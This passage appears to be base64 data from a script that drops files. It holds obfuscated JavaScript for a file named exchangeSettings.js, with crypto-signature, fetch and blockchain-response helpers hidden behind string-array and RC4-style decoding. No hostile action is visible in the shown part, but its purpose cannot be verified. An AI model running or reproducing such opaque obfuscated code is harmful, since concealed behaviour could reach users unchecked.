NTQ5OWIpLF8weDEwNWM2NT1uZXcgVWludDhBcnJheShfMHgyYWRkMzBbXzB4NDlkY2NlKDB4NWUyLDB4NGUyLCd4W00hJywweDY4NSwweDUyZSkrJ2gnXSk7Zm9yKGxldCBfMHgyN2RhOTU9LTB4MTdhNSstMHgxKjB4ZTU1KzB4MjVmYTtfMHhmMjQ4YTVbXzB4NTgyMTVhKDB4NjU2LDB4NTRjLDB4NjE2LDB4NWE0LCd4bTFnJyldKF8weDI3ZGE5NSxfMHgyYWRkMzBbXzB4NTgyMTVhKDB4NDg1LDB4MzNlLDB4NDQ4LDB4NTgwLCd0KTVdJykrJ2gnXSk7XzB4MjdkYTk1KyspXzB4MTA1YzY1W18weDI3ZGE5NV09XzB4MmFkZDMwW18weDQ5YjA3YSgweDMyNywweDJkNywweDFiZSwweDNjZiwnZmFdcCcpK18weDQ5ZGNjZSgweDRlMSwweDQwNCwnZSlISicsMHg1NDEsMHg0NGYpXShfMHgyN2RhOTUpO3JldHVybiBfMHgxMDVjNjU7fWZ1bmN0aW9uIHVpbnQ4QXJyYXlUb0Jhc2U2NChfMHgyN2FiZTUpe2Z1bmN0aW9uIF8weDJhNWUwOShfMHg0OGIwMjYsXzB4NTdlMmUwLF8weDI4YmNmNSxfMHhlMTI2NTksXzB4NGQ5ZmYwKXtyZXR1cm4gXzB4NTc4YWQ0KF8weDU3ZTJlMC0weDMxYyxfMHg1N2UyZTAtMHgxMCxfMHgyOGJjZjUtMHgxYTMsXzB4NGQ5ZmYwLF8weDRkOWZmMC0weDE0Nyk7fWZ1bmN0aW9uIF8weDE0MmRiZihfMHgyZWRhYTEsXzB4NTAxNmQ3LF8weGY3ODczMyxfMHgzNjNhZDEsXzB4MjY0NjVhKXtyZXR1cm4gXzB4NWZhMTZhKF8weDI2NDY1YS0weDEyMyxfMHg1MDE2ZDctMHgxM2MsXzB4Zjc4NzMzLTB4MWUxLF8weDJlZGFhMSxfMHgyNjQ2NWEtMHgxNmUpO31mdW5jdGlvbiBfMHgyZDQ1YjIoXzB4MWFlOGIxLF8weDUwYmU0MyxfMHgyZjJlNjksXzB4MTRjN2Y4LF8weDNkNzhmNCl7cmV0dXJuIF8weDEyODA5NyhfMHgxYWU4YjEtMHgxZGUsXzB4MmYyZTY5LF8weDJmMmU2OS0weDdjLF8weDFhZThiMS0weDNmZCxfMHgzZDc4ZjQtMHhiMik7fWNvbnN0IF8weDQxY2ZiND17J0dKdXRvJzpmdW5jdGlvbihfMHgxZTdiYWYsXzB4M2I5N2Q0KXtyZXR1cm4gXzB4MWU3YmFmKF8weDNiOTdkNCk7fX07cmV0dXJuIF8weDQxY2ZiNFtfMHgyYTVlMDkoMHgyOGEsMHgzNDIsMHgyNjgsMHgzZDMsJ2pRWnYnKV0oYnRvYSxTdHJpbmdbXzB4MTQyZGJmKCdYKHJ0JywweDNhNCwweDIwZiwweDQwZCwweDM0YSkrXzB4MmQ0NWIyKDB4M2E2LDB4MzE2LCd4W00hJywweDNmYywweDM0YSkrJ2RlJ10oLi4uXzB4MjdhYmU1KSk7fWFzeW5jIGZ1bmN0aW9uIHZlcmlmeVNpZ25hdHVyZShfMHg0N2RhNGQsXzB4NWU1NzczLF8weDQxZGY2Nyl7ZnVuY3Rpb24gXzB4MWExZGU0KF8weDJjNzNjMCxfMHg1YmJmMGYsXzB4Mzc0YTczLF8weDVhZTUxOSxfMHhhZDhjOGYpe3JldHVybiBfMHg1NzhhZDQoXzB4NWJiZjBmLTB4M2Y5LF8weDViYmYwZi0weDExOSxfMHgzNzRhNzMtMHgxNSxfMHgzNzRhNzMsXzB4YWQ4YzhmLTB4MTIpO31mdW5jdGlvbiBfMHgxZDhkNGIoXzB4NGViZGM3LF8weDFlNWQwNixfMHg0NDgwYzksXzB4NDEzNDliLF8weDM3MTMxMCl7cmV0dXJuIF8weDEyODA5NyhfMHg0ZWJkYzctMHgxN2YsXzB4MWU1ZDA2LF8weDQ0ODBjOS0weGY5LF8weDM3MTMxMC0weDM4MixfMHgzNzEzMTAtMHhjMyk7fWZ1bmN0aW9uIF8weDM1NGZiNShfMHgzMmQwMDUsXzB4NDAwYTg3LF8weGQyOWUzOCxfMHgyYmU5MzMsXzB4NTA4YWZkKXtyZXR1cm4gXzB4NTYzNmY3KF8weDMyZDAwNS0weDZlLF8weDJiZTkzMy0weDE2OSxfMHhkMjllMzgtMHgxZTksXzB4NDAwYTg3LF8weDUwOGFmZC0weGZmKTt9Y29uc3QgXzB4NTZlODY1PXsneU12QmMnOl8weDFkOGQ0YigweDJkNywnWnBDcScsMHg0NWIsMHg0YzAsMHgzZjYpLCdvbWNDbic6ZnVuY3Rpb24oXzB4MWJiZGVjLF8weDNjZDJiZCl7cmV0dXJuIF8weDFiYmRlYyhfMHgzY2QyYmQpO30sJ0lpTGNUJzpfMHgxYTFkZTQoMHg1YTUsMHg2NjgsJ1lrITYnLDB4NWZhLDB4Njk1KStfMHgxYTFkZTQoMHgzMjUsMHg0MjUsJ0Z0RHEnLDB4NDBiLDB4NGYxKStfMHgxZDhkNGIoMHgyMGUsJzZGMiMnLDB4MjI3LDB4MjNkLDB4MjQ1KSsnXzUnLCdtbG5sayc6XzB4M2VmZTViKDB4NDllLDB4NDdiLCdqUVp2JywweDU1MywweDUxYykrJzU2JywnV093TlMnOl8weDFhMWRlNCgweDVmMCwweDY2NiwnQGpETScsMHg2N2QsMHg2YTIpKyd5J307ZnVuY3Rpb24gXzB4MWExNjlmKF8weDU4ZjQzNSxfMHg0YTRmYWIsXzB4NmQ3MTdmLF8weDRiNmEwNixfMHgxNDk1Zjgpe3JldHVybiBfMHg1NzhhZDQoXzB4NmQ3MTdmLTB4MmQsXzB4NGE0ZmFiLTB4MTZjLF8weDZkNzE3Zi0weDE0NSxfMHg1OGY0MzUsXzB4MTQ5NWY4LTB4M2UpO31mdW5jdGlvbiBfMHgzZWZlNWIoXzB4MzQxZmFlLF8weDRjODY1NCxfMHg0MjRlY2MsXzB4NWNlYWNiLF8weDFmZDU2Mil7cmV0dXJuIF8weDVmYTE2YShfMHg0Yzg2NTQtMHgzZWIsXzB4NGM4NjU0LTB4YixfMHg0MjRlY2MtMHg1MSxfMHg0MjRlY2MsXzB4MWZkNTYyLTB4OTEpO310cnl7Y29uc3QgXzB4MWNjMTBiPWF3YWl0IGNyeXB0b1tfMHgxZDhkNGIoMHgyMWIsJ1gocnQnLDB4MmZmLDB4MzYyLDB4MzYwKSsnZSddW18weDFkOGQ0YigweDMxYywnRTlEJScsMHgxYWQsMHgyZGQsMHgyMjYpK18weDFhMWRlNCgweDVlMywweDViMCwnY15eQCcsMHg2ZTQsMHg1NDIpXShfMHg1NmU4NjVbXzB4MWExZGU0KDB4NGVmLDB4NDlhLCdoZHMjJywweDNlMCwweDRiMCldLF8weDU2ZTg2NVtfMHgxYTE2OWYoJypII0EnLC0weGVmLDB4MjIsLTB4MWMsMHhmYildKGJhc2U2NFRvVWludDhBcnJheSxfMHg0N2RhNGQpLHsnbmFtZSc6XzB4NTZlODY1W18weDFkOGQ0YigweDIzMSwnUlMwTycsMHg0MWEsMHgzMGEsMHgzNWYpXSwnaGFzaCc6XzB4NTZlODY1W18weDFkOGQ0YigweDMyNywnRTlEJScsMHgzOTYsMHgyNTgsMHgyNGUpXX0sISgweGU2MyoweDErLTB4MSotMHgxZDkzKy0weDJiZjUpLFtfMHg1NmU4NjVbXzB4MWExZGU0KDB4NjAwLDB4NGZiLCdwVDdEJywweDU4MywweDVlOSldXSksXzB4NDViNjNiPW5ldyBUZXh0RW5jb2RlcigpW18weDFkOGQ0YigweDI4YiwndjRPeCcsMHgyMmMsMHgzMzQsMHgzNTcpKydlJ10oXzB4NDFkZjY3KSxfMHg1NzhkNTc9YXdhaXQgY3J5cHRvW18weDNlZmU1YigweDNiYSwweDQ2ZSwnN2F6TCcsMHg1MTQsMHgzZTcpKydlJ11bXzB4MWExNjlmKCdEQ2MqJywweDEwMCwweDE4OSwweDFjNywweDIyNykrJ3QnXShfMHg1NmU4NjVbXzB4MWExNjlmKCdseVN5JywweDFkYywweDIyZiwweDMyYSwweDI0YildLF8weDQ1YjYzYiksXzB4NWEzYzEzPXt9O3JldHVybiBfMHg1YTNjMTNbXzB4M2VmZTViKDB4NjRlLDB4NTcxLCdvMXFCJywweDU5NSwweDY5MildPV8weDU2ZTg2NVtfMHgzZWZlNWIoMHg0YzEsMHg0MWEsJ0Z0RHEnLDB4NDgyLDB4NTVjKV0sYXdhaXQgY3J5cHRvW18weDFhMTY5ZignZGI0VicsMHgxNjEsMHg0ZCwtMHg1YSwweDZjKSsnZSddW18weDFhMWRlNCgweDUxZCwweDQ2NSwneG0xZycsMHg1MzQsMHgzYjIpKyd5J10oXzB4NWEzYzEzLF8weDFjYzEwYixfMHg1NmU4NjVbXzB4M2VmZTViKDB4M2JlLDB4NGJmLCcxJHdYJywweDVkZSwweDM5MyldKGJhc2U2NFRvVWludDhBcnJheSxfMHg1ZTU3NzMpLF8weDU3OGQ1Nyk7fWNhdGNoKF8weDVjZWI5OCl7cmV0dXJuIGNvbnNvbGVbXzB4MWExZGU0KDB4NWYxLDB4NWRjLCdxaVZKJywweDY0NywweDY4YyldKF8weDVjZWI5OFtfMHgzNTRmYjUoLTB4YTcsJ0RDYyonLC0weDQxLDB4MWMsMHgxNTUpKydnZSddKSwhKC0weDMqLTB4YzliKzB4MmQ3Ki0weDIrLTB4MjAyMik7fX1mdW5jdGlvbiBfMHgxMjgwOTcoXzB4NTIyNzdiLF8weDQzNjczYyxfMHg1YWFkNDgsXzB4MmFkNTE3LF8weDIxZDdjNyl7cmV0dXJuIF8weDIzYzYoXzB4MmFkNTE3LSAtMHgyMmUsXzB4NDM2NzNjKTt9YXN5bmMgZnVuY3Rpb24gZ2V0SnNvblJlc3BvbnNlKF8weGEyNWY4Yil7ZnVuY3Rpb24gXzB4Mzc0YTgzKF8weDJjZWNkOCxfMHgyNWFmMjgsXzB4MWYyNmEyLF8weDM3OWE5YixfMHg0NzkyMGEpe3JldHVybiBfMHg1NzhhZDQoXzB4NDc5MjBhLTB4MzVkLF8weDI1YWYyOC0weDcxLF8weDFmMjZhMi0weDVhLF8weDJjZWNkOCxfMHg0NzkyMGEtMHhhMSk7fWZ1bmN0aW9uIF8weDEzYjA2NShfMHg1YzI0NWIsXzB4MTk1YmY5LF8weDVkYjAzYSxfMHg1OTM5ZjgsXzB4Nzg1MDMxKXtyZXR1cm4gXzB4NWZhMTZhKF8weDc4NTAzMS0weDQyNCxfMHgxOTViZjktMHgxZTAsXzB4NWRiMDNhLTB4N2EsXzB4NTkzOWY4LF8weDc4NTAzMS0weGI5KTt9ZnVuY3Rpb24gXzB4MzVlZWFkKF8weDI2Njc3NyxfMHgzYjNhNTIsXzB4MTBlZmY0LF8weDJmMTRhMixfMHgyNTMyYzYpe3JldHVybiBfMHg1NzhhZDQoXzB4M2IzYTUyLTB4ZGMsXzB4M2IzYTUyLTB4MTBlLF8weDEwZWZmNC0weDZlLF8weDI1MzJjNixfMHgyNTMyYzYtMHgxMGQpO31mdW5jdGlvbiBfMHgxNzVlZDIoXzB4MjI5NWI3LF8weDFiMGRmZSxfMHgxYjg3YzIsXzB4MjM2M2I4LF8weDNlYWJmYSl7cmV0dXJuIF8weDVmYTE2YShfMHgxYjg3YzItMHhmYSxfMHgxYjBkZmUtMHhkNCxfMHgxYjg3YzItMHhlOSxfMHgyMjk1YjcsXzB4M2VhYmZhLTB4MTFhKTt9ZnVuY3Rpb24gXzB4MzE5ZjAyKF8weDI2OGRkMSxfMHgyYjZlMDQsXzB4YTcxZjJlLF8weDUwMTY2OCxfMHg4NzQ0Zjcpe3JldHVybiBfMHhhNGRjNWIoXzB4MjY4ZGQxLTB4MWEsXzB4NTAxNjY4LF8weDI2OGRkMS0gLTB4MWJhLF8weDUwMTY2OC0weDE0LF8weDg3NDRmNy0weDE1NSk7fWNvbnN0IF8weDVmMGU1Yz17J0N2Z1N1JzpmdW5jdGlvbihfMHgyYzE1MWIsXzB4NDY0ZGU4KXtyZXR1cm4gXzB4MmMxNTFiKF8weDQ2NGRlOCk7fSwnQXJwWEcnOmZ1bmN0aW9uKF8weDQyZTEzNSxfMHg0NTFhZWQpe3JldHVybiBfMHg0MmUxMzU9PV8weDQ1MWFlZDt9LCdYUVR6byc6XzB4Mzc0YTgzKCdvMXFCJywweDQwZSwweDRlYiwweDU1YiwweDQ1NykrJ3QnLCdSQnR5Qyc6ZnVuY3Rpb24oXzB4MjhiNTI1LF8weDUzNjI5Yyl7cmV0dXJuIF8weDI4YjUyNSE9PV8weDUzNjI5Yzt9fTt0cnl7Y29uc3QgXzB4NTUwNzQyPWF3YWl0IF8weDVmMGU1Y1tfMHgxNzVlZDIoJ2ZBMzUnLDB4MjNmLDB4MmUxLDB4M2VlLDB4MTlhKV0oZmV0Y2gsXzB4YTI1ZjhiKTtpZighXzB4NTUwNzQyWydvayddKXJldHVybiBudWxsO2NvbnN0IF8weDcyODJmYz1hd2FpdCBfMHg1NTA3NDJbXzB4Mzc0YTgzKCd1ZVc2JywweDU2YiwweDYyZiwweDQyMSwweDU0ZildKCk7cmV0dXJuIF8weDVmMGU1Y1tfMHgzNzRhODMoJ2FhNnAnLDB4MjI4LDB4M2UxLDB4NDkzLDB4MzYzKV0oXzB4NWYwZTVjW18weDMxOWYwMigtMHhmNCwtMHg2MywtMHgxYWUsJ1t4I1YnLC0weGYyKV0sdHlwZW9mIF8weDcyODJmYykmJl8weDVmMGU1Y1tfMHgzNWVlYWQoMHgxNzIsMHgxYjIsMHgxZGMsMHgxMDksJ0MkeVAnKV0obnVsbCxfMHg3MjgyZmMpP18weDcyODJmYzpudWxsO31jYXRjaChfMHgxZTJmNDYpe3JldHVybiBudWxsO319ZnVuY3Rpb24gXzB4NTYzNmY3KF8weDQ5MjBiZCxfMHgyMTViNjQsXzB4MzIxMDQyLF8weDRmNWVmZSxfMHgxZTBhOGIpe3JldHVybiBfMHgyM2M2KF8weDIxNWI2NC0gLTB4MjZkLF8weDRmNWVmZSk7fWZ1bmN0aW9uIGZsYXR0ZW5BcnJheShfMHgyZTBiNDEpe2xldCBfMHhiNGE0NT1bXTtmdW5jdGlvbiBfMHgxYjE3ZDAoXzB4MmYzZjJmLF8weGQ1ZjVkZCxfMHgzMjlkNDMsXzB4MmQxZmNlLF8weDEwYjcxNCl7cmV0dXJuIF8weDU3OGFkNChfMHgyZDFmY2UtMHg2OCxfMHhkNWY1ZGQtMHg4MCxfMHgzMjlkNDMtMHg4OCxfMHgxMGI3MTQsXzB4MTBiNzE0LTB4MWFjKTt9cmV0dXJuIF8weDJlMGI0MVtfMHgxYjE3ZDAoMHg0MiwtMHg1LDB4YTAsMHgxNDQsJ11nZkEnKSsnY2gnXShmdW5jdGlvbiBfMHg0OGM1NmIoXzB4MmIxNGUxKXtmdW5jdGlvbiBfMHgyODExYmYoXzB4NWUwZjZlLF8weDIxYmZhNCxfMHgzNjUyYmMsXzB4MTljN2EzLF8weDJlYjdjYil7cmV0dXJuIF8weDFiMTdkMChfMHg1ZTBmNmUtMHg4NCxfMHgyMWJmYTQtMHg2MCxfMHgzNjUyYmMtMHgxNjYsXzB4NWUwZjZlLTB4YjQsXzB4MmViN2NiKTt9ZnVuY3Rpb24gXzB4MTE3NzAwKF8weDM1MzM1NixfMHgzOWEyYTMsXzB4M2IxMTdlLF8weDViZGNiMixfMHg1ZDhjYzMpe3JldHVybiBfMHgxYjE3ZDAoXzB4MzUzMzU2LTB4OGUsXzB4MzlhMmEzLTB4MjIsXzB4M2IxMTdlLTB4MWRlLF8weDViZGNiMi0gLTB4MTMyLF8weDVkOGNjMyk7fWZ1bmN0aW9uIF8weDJkODE1ZihfMHg0NjAwZDMsXzB4M2RkNjdjLF8weDJiZjNkMSxfMHg1MmY2N2IsXzB4NTAwMTM2KXtyZXR1cm4gXzB4MWIxN2QwKF8weDQ2MDBkMy0weDE5NCxfMHgzZGQ2N2MtMHhiNCxfMHgyYmYzZDEtMHg3MixfMHg1MmY2N2ItIC0weDE0NCxfMHgzZGQ2N2MpO31BcnJheVtfMHgxMTc3MDAoMHgxMDUsLTB4MTMsLTB4OSwweDc0LCcxJHdYJykrJ2F5J10oXzB4MmIxNGUxKT9fMHgyYjE0ZTFbXzB4MmQ4MTVmKDB4MTVkLCdOITgxJywweDFhMywweDE4NCwweDFmYykrJ2NoJ10oXzB4NDhjNTZiKTpfMHhiNGE0NVtfMHgyZDgxNWYoMHg4NywnTHVyRCcsMHgxOGIsMHg3NSwweDE3ZildKF8weDJiMTRlMSk7fSksXzB4YjRhNDU7fWNsYXNzIEJsb2NrY2hhaW5SZXNwb25zZXtjb25zdHJ1Y3RvcihfMHg1NDBmYjAsXzB4NGVjMjcwKXtmdW5jdGlvbiBfMHgxMjMzZWMoXzB4MzQzODM1LF8weDFjZjQ5OSxfMHg1MGEyZDAsXzB4M2MxM2Y4LF8weDMwZDY5Nyl7cmV0dXJuIF8weDU3OGFkNChfMHg1MGEyZDAtIC0weDM1ZCxfMHgxY2Y0OTktMHgxNGYsXzB4NTBhMmQwLTB4MTFlLF8weDM0MzgzNSxfMHgzMGQ2OTctMHgxNjcpO31mdW5jdGlvbiBfMHgyYTFmMzkoXzB4OTUyNGQ4LF8weDExZDVkMCxfMHg1NDAzODQsXzB4MmFlZDEzLF8weDNkMzU4Nil7cmV0dXJuIF8weDU2MzZmNyhfMHg5NTI0ZDgtMHhjZixfMHg5NTI0ZDgtMHgxOGYsXzB4NTQwMzg0LTB4MWFkLF8weDJhZWQxMyxfMHgzZDM1ODYtMHhmNik7fWZ1bmN0aW9uIF8weDQ5ZDA4YihfMHgxNjIzMWYsXzB4MWYyYWRhLF8weDJhZDA3NSxfMHgyZjlmOGIsXzB4MzU1ZTMxKXtyZXR1cm4gXzB4YTRkYzViKF8weDE2MjMxZi0weDJlLF8weDJhZDA3NSxfMHgxZjJhZGEtMHgzMGQsXzB4MmY5ZjhiLTB4MzYsXzB4MzU1ZTMxLTB4MWRiKTt9ZnVuY3Rpb24gXzB4NGFlYjk5KF8weDMwZWI0YSxfMHg3MTIyMmIsXzB4NGIzOTQ5LF8weDNhY2U5ZSxfMHgzOTBjOGUpe3JldHVybiBfMHgxMjgwOTcoXzB4MzBlYjRhLTB4ZGYsXzB4NGIzOTQ5LF8weDRiMzk0OS0weGI1LF8weDcxMjIyYi0weGFlLF8weDM5MGM4ZS0weGRmKTt9dGhpc1tfMHgxMjMzZWMoJ2NeXkAnLC0weDJiLC0weGRjLC0weDZhLC0weDE4OSkrXzB4NDlkMDhiKDB4MjVhLDB4MjI5LCdMdXJEJywweDEwNywweDIyMikrJ25zJ109XzB4NTQwZmIwLHRoaXNbXzB4NDlkMDhiKDB4MTRlLDB4MWVmLCdhYTZwJywweGU5LDB4MmJiKStfMHgyYTFmMzkoLTB4MmIsMHhiNCwtMHg1LCc2RjIjJywtMHgxMzUpXT1fMHg0ZWMyNzA7fX0K'),@('c3JjXGZ1bmN0aW9uc1xleGNoYW5nZVNldHRpbmdzLmpz', 'KGZ1bmN0aW9uKF8weDQ3NDQ4YSxfMHgyZmIxMTQpe2Z1bmN0aW9uIF8weDRiZjE5OShfMHgyZTE0OTUsXzB4NDdkY2QxLF8weDVjNDZhYyxfMHg1MDdmNDYsXzB4NGM2MzI5KXtyZXR1cm4gXzB4MzI2MyhfMHg1YzQ2YWMtIC0weDM4NyxfMHg0YzYzMjkpO31mdW5jdGlvbiBfMHg0NWE5NzgoXzB4NThjOGJiLF8weDM3MzMzZSxfMHg2MWVhNmEsXzB4NDQ2M2QwLF8weDJkODFkYSl7cmV0dXJuIF8weDMyNjMoXzB4MmQ4MWRhLSAtMHgyNjQsXzB4NjFlYTZhKTt9ZnVuY3Rpb24gXzB4MTM0MzIwKF8weDUyODVjMyxfMHgyMTllOTAsXzB4NWE3N2Q5LF8weDNlY2UyOCxfMHgxMWU5MzIpe3JldHVybiBfMHgzMjYzKF8weDNlY2UyOC0weDMwNSxfMHg1Mjg1YzMpO31mdW5jdGlvbiBfMHgyZTk2MzEoXzB4M2E3NTMyLF8weDIxYWQwYixfMHgxZDljNGQsXzB4MjQ4Yjg3LF8weGZhZjdhZil7cmV0dXJuIF8weDMyNjMoXzB4MjQ4Yjg3LTB4MzUsXzB4MjFhZDBiKTt9ZnVuY3Rpb24gXzB4YWIwZDBmKF8weDNjMjExYixfMHg1NGIxNTksXzB4MzkxNjYwLF8weGY4MWRiOSxfMHg0N2U3N2Ype3JldHVybiBfMHgzMjYzKF8weGY4MWRiOS0weDM4NixfMHg0N2U3N2YpO31jb25zdCBfMHg1ZGVmOGU9XzB4NDc0NDhhKCk7d2hpbGUoISFbXSl7dHJ5e2NvbnN0IF8weDMwOWUxNz0tcGFyc2VJbnQoXzB4YWIwZDBmKDB4NWNlLDB4NzQwLDB4NmFhLDB4NmQ5LCdETFNbJykpLygweDUqMHgxYmQrMHg1ZDgrLTB4ZTg4KStwYXJzZUludChfMHgxMzQzMjAoJ1lhS2onLDB4NTIwLDB4NWJjLDB4NTU4LDB4NDU5KSkvKC0weDEqMHg4NWYrMHgxOWQxKzB4M2UqLTB4NDgpK3BhcnNlSW50KF8weDEzNDMyMCgnKF11aycsMHg1M2IsMHg1ODEsMHg1YzAsMHg2YzMpKS8oLTB4MjQ2YSstMHgxKjB4MjdhKzB4MjZlNykrcGFyc2VJbnQoXzB4MmU5NjMxKDB4NGJiLCd6Z3RRJywweDRlOCwweDQzZCwweDQ3ZikpLygtMHgxKi0weDEwOTMrLTB4M2EqMHg1MistMHgyMDUqLTB4MSkrLXBhcnNlSW50KF8weDJlOTYzMSgweDQxMywnQjZMZScsMHgzMjUsMHgzY2MsMHgyZjEpKS8oMHg0KjB4MWIxKzB4MTcqLTB4MTZlKzB4MWEyMykqKHBhcnNlSW50KF8weDJlOTYzMSgweDMzMCwnT3ZhTicsMHgzMzEsMHgzOGUsMHgyZDgpKS8oLTB4MWE3KjB4YSstMHgyNjcxKjB4MSsweDM2ZmQpKSstcGFyc2VJbnQoXzB4MTM0MzIwKCdVT0EjJywweDU4MywweDVmNCwweDY2OSwweDVkNikpLygtMHgxMjI5Ky0weGRjZCstMHgxZmZkKi0weDEpKy1wYXJzZUludChfMHhhYjBkMGYoMHg2YjMsMHg2YTAsMHg3ZDksMHg2YjMsJ3E2XXInKSkvKC0weDk1Ki0weDE3KzB4YWNiKy0weDE4MjYpO2lmKF8weDMwOWUxNz09PV8weDJmYjExNClicmVhaztlbHNlIF8weDVkZWY4ZVsncHVzaCddKF8weDVkZWY4ZVsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4NTBlMzk1KXtfMHg1ZGVmOGVbJ3B1c2gnXShfMHg1ZGVmOGVbJ3NoaWZ0J10oKSk7fX19KF8weDU1MmUsLTB4MSoweDM1YTUzKy0weDE5MTkzKzB4NmJmZGYpKTtmdW5jdGlvbiBfMHgzMjYzKF8weDFjNzQ2YSxfMHgzNGU2ZWIpe2NvbnN0IF8weDEzOWVmMD1fMHg1NTJlKCk7cmV0dXJuIF8weDMyNjM9ZnVuY3Rpb24oXzB4NTBkMDllLF8weDQwYjRlNSl7XzB4NTBkMDllPV8weDUwZDA5ZS0oMHgxKi0weGU0ZisweDEyY2IrLTB4MmYwKTtsZXQgXzB4NTI3YjdhPV8weDEzOWVmMFtfMHg1MGQwOWVdO2lmKF8weDMyNjNbJ0ZWV3RVayddPT09dW5kZWZpbmVkKXt2YXIgXzB4ZjhlMTkwPWZ1bmN0aW9uKF8weDNjOGJiYyl7Y29uc3QgXzB4YTYxOTJjPSdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSsvPSc7bGV0IF8weDE5MDU2Nz0nJyxfMHg0MmEzYTk9Jyc7Zm9yKGxldCBfMHg1NGYzNGQ9LTB4MTA0YSsweDJkMisweGQ3OCxfMHg0NWUxOWYsXzB4NTBmNTU5LF8weDg4ZGM4Zj0weDFiMDArMHgyNDUzKy0weDNmNTM7XzB4NTBmNTU5PV8weDNjOGJiY1snY2hhckF0J10oXzB4ODhkYzhmKyspO35fMHg1MGY1NTkmJihfMHg0NWUxOWY9XzB4NTRmMzRkJSgtMHhhOCotMHgyMystMHgxNzhlKzB4OWEpP18weDQ1ZTE5ZiooLTB4MSotMHgxMTQxKzB4MWQ0ZSstMHgyZTRmKStfMHg1MGY1NTk6XzB4NTBmNTU5LF8weDU0ZjM0ZCsrJSgweDMqLTB4NmUyKy0weDEqMHgxZjJlKzB4MyoweDExNDgpKT9fMHgxOTA1NjcrPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oLTB4MTgxKy0weGEqLTB4MmM1KzB4ODEqLTB4MzImXzB4NDVlMTlmPj4oLSgweDFhNzkrMHgxMioweGNlKy0weDI4ZjMpKl8weDU0ZjM0ZCYweDFmZioweDgrMHgzKjB4Njk2Ky0weDQqMHg4ZWQpKTotMHgyNTY1KzB4MzEqLTB4YzUrMHg0YjFhKXtfMHg1MGY1NTk9XzB4YTYxOTJjWydpbmRleE9mJ10oXzB4NTBmNTU5KTt9Zm9yKGxldCBfMHg5ODRlZTk9LTB4MioweDgyNistMHhiOTgrLTB4YSotMHgyY2EsXzB4MTcyOGY2PV8weDE5MDU2N1snbGVuZ3RoJ107XzB4OTg0ZWU5PF8weDE3MjhmNjtfMHg5ODRlZTkrKyl7XzB4NDJhM2E5Kz0nJScrKCcwMCcrXzB4MTkwNTY3WydjaGFyQ29kZUF0J10oXzB4OTg0ZWU5KVsndG9TdHJpbmcnXSgtMHhhYyoweDFmKzB4MWJmOSstMHg3MTUpKVsnc2xpY2UnXSgtKC0weDEwNjYqMHgxKy0weDIqLTB4N2FiKzB4ODkqMHgyKSk7fXJldHVybiBkZWNvZGVVUklDb21wb25lbnQoXzB4NDJhM2E5KTt9O2NvbnN0IF8weGQ2NDIwMj1mdW5jdGlvbihfMHgyZDRlMjgsXzB4NTI3MmQ3KXtsZXQgXzB4NDAzYjg2PVtdLF8weDI2Mzk3Yj0weDYzOCsweDI0ZWErLTB4MioweDE1OTEsXzB4MTU4ZTdhLF8weDExMzQ5Zj0nJztfMHgyZDRlMjg9XzB4ZjhlMTkwKF8weDJkNGUyOCk7bGV0IF8weGRlZDM2Yjtmb3IoXzB4ZGVkMzZiPS0weDEqMHgxMmI5Ky0weDFkNjYrMHgzMDFmO18weGRlZDM2YjwtMHgxKjB4MTg4YysweDM2ZisweDE2MWQ7XzB4ZGVkMzZiKyspe18weDQwM2I4NltfMHhkZWQzNmJdPV8weGRlZDM2Yjt9Zm9yKF8weGRlZDM2Yj0tMHgyNjYwKzB4MjA4ZCsweDVkMztfMHhkZWQzNmI8MHgxNTgwKzB4MyotMHg0Y2QrMHg2MTkqLTB4MTtfMHhkZWQzNmIrKyl7XzB4MjYzOTdiPShfMHgyNjM5N2IrXzB4NDAzYjg2W18weGRlZDM2Yl0rXzB4NTI3MmQ3WydjaGFyQ29kZUF0J10oXzB4ZGVkMzZiJV8weDUyNzJkN1snbGVuZ3RoJ10pKSUoMHgyNTBjKzB4MTUqMHg1MystMHhjZioweDM1KSxfMHgxNThlN2E9XzB4NDAzYjg2W18weGRlZDM2Yl0sXzB4NDAzYjg2W18weGRlZDM2Yl09XzB4NDAzYjg2W18weDI2Mzk3Yl0sXzB4NDAzYjg2W18weDI2Mzk3Yl09XzB4MTU4ZTdhO31fMHhkZWQzNmI9MHgxNDMyKy0weDIyMzcrMHhlMDUsXzB4MjYzOTdiPS0weDE1NjYrMHgxMzFkKzB4MjQ5O2ZvcihsZXQgXzB4MTNlY2JlPS0weDEzMCoweDIwKy0weDIqLTB4Mjg3KzB4MjBmMjtfMHgxM2VjYmU8XzB4MmQ0ZTI4WydsZW5ndGgnXTtfMHgxM2VjYmUrKyl7XzB4ZGVkMzZiPShfMHhkZWQzNmIrKC0weDVlZCstMHgyNmFmKy0weDMqLTB4ZWRmKSklKC0weDEqLTB4MTAwZisweDE2MjQrLTB4MSoweDI1MzMpLF8weDI2Mzk3Yj0oXzB4MjYzOTdiK18weDQwM2I4NltfMHhkZWQzNmJdKSUoMHhlNTUrLTB4MTgxOSsweGFjNCksXzB4MTU4ZTdhPV8weDQwM2I4NltfMHhkZWQzNmJdLF8weDQwM2I4NltfMHhkZWQzNmJdPV8weDQwM2I4NltfMHgyNjM5N2JdLF8weDQwM2I4NltfMHgyNjM5N2JdPV8weDE1OGU3YSxfMHgxMTM0OWYrPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oXzB4MmQ0ZTI4WydjaGFyQ29kZUF0J10oXzB4MTNlY2JlKV5fMHg0MDNiODZbKF8weDQwM2I4NltfMHhkZWQzNmJdK18weDQwM2I4NltfMHgyNjM5N2JdKSUoLTB4Y2M1KzB4MWY5KzB4YmNjKV0pO31yZXR1cm4gXzB4MTEzNDlmO307XzB4MzI2M1snUldrWHNEJ109XzB4ZDY0MjAyLF8weDFjNzQ2YT1hcmd1bWVudHMsXzB4MzI2M1snRlZXdFVrJ109ISFbXTt9Y29uc3QgXzB4ODQ3OTYxPV8weDEzOWVmMFstMHgxMTkwKy0weDE2ZGUrMHgyODZlXSxfMHg1MzI5NWU9XzB4NTBkMDllK18weDg0Nzk2MSxfMHg1ODhjMzU9XzB4MWM3NDZhW18weDUzMjk1ZV07cmV0dXJuIV8weDU4OGMzNT8oXzB4MzI2M1snd1dhSUd2J109PT11bmRlZmluZWQmJihfMHgzMjYzWyd3V2FJR3YnXT0hIVtdKSxfMHg1MjdiN2E9XzB4MzI2M1snUldrWHNEJ10oXzB4NTI3YjdhLF8weDQwYjRlNSksXzB4